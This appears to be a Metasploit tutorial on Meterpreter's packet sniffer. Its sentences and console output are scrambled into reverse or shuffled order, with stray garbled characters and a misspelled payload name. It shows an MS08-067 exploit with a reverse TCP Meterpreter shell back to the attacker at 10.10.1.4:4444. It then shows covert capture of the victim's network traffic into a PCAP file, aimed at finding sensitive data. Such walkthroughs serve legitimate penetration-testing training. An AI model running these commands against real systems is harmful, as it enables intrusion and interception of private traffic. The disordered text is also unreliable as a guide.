The Meterpreter packet sniffer uses the MicroOLAP Packet Sniffer SDK and can sniff the packets from the victim machine without ever having to install any drivers or write to the file system.

We can now use our favorite parser or packet analysis tool to review the information intercepted. Flushed 279 packets (57849 bytes) from interface 2 Download or release them using 'sniffer_dump' or 'sniffer_release' There are 279 packets (57849 bytes) remaining Flushing packet capture buffer for interface 2. Wrote 19 packets to PCAP file /tmp/all.cap Meterpreter > sniffer_dump 2 /tmp/all.cap Capture started on interface 2 (50000 packet buffer) Sniffer_stop Stop packet captures on the specified interfaceġ - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )Ģ - 'Intel(R) PRO/1000 MT Network Connection' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )ģ - 'Intel(R) PRO/1000 MT Network Connection' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false ) Sniffer_stats View statistics of an active capture Sniffer_start Capture packets on a previously opened interface Sniffer_interfaces List all remote sniffable interfaces Sniffer_dump Retrieve captured packet data We then dump the sniffer output to /tmp/all.cap. Meterpreter session 1 opened (10.10.1.4:4444 -> 10.10.1.119:1921)įrom here we initiate the sniffer on interface 2 and start collecting packets. Transmitting intermediate stager for over-sized stage.(216 bytes)

Msf exploit( ms08_067_netapi) > set PAYLOAD windows/meterpeter/reverse_tcp msf > use exploit/windows/smb/ms08_067_netapi We first fire off our remote exploit toward the victim and gain our standard reverse Meterpreter console. The sniffer module can store up to 200,000 packets in a ring buffer and exports them in standard PCAP format so you can process them using psnuffle, dsniff, wireshark, etc.

This is especially useful if we want to monitor what type of information is being sent, and even better, this is probably the start of multiple auxiliary modules that will ultimately look for sensitive data within the capture files.

Meterpreter has the capability of packet sniffing the remote host without ever touching the hard disk.
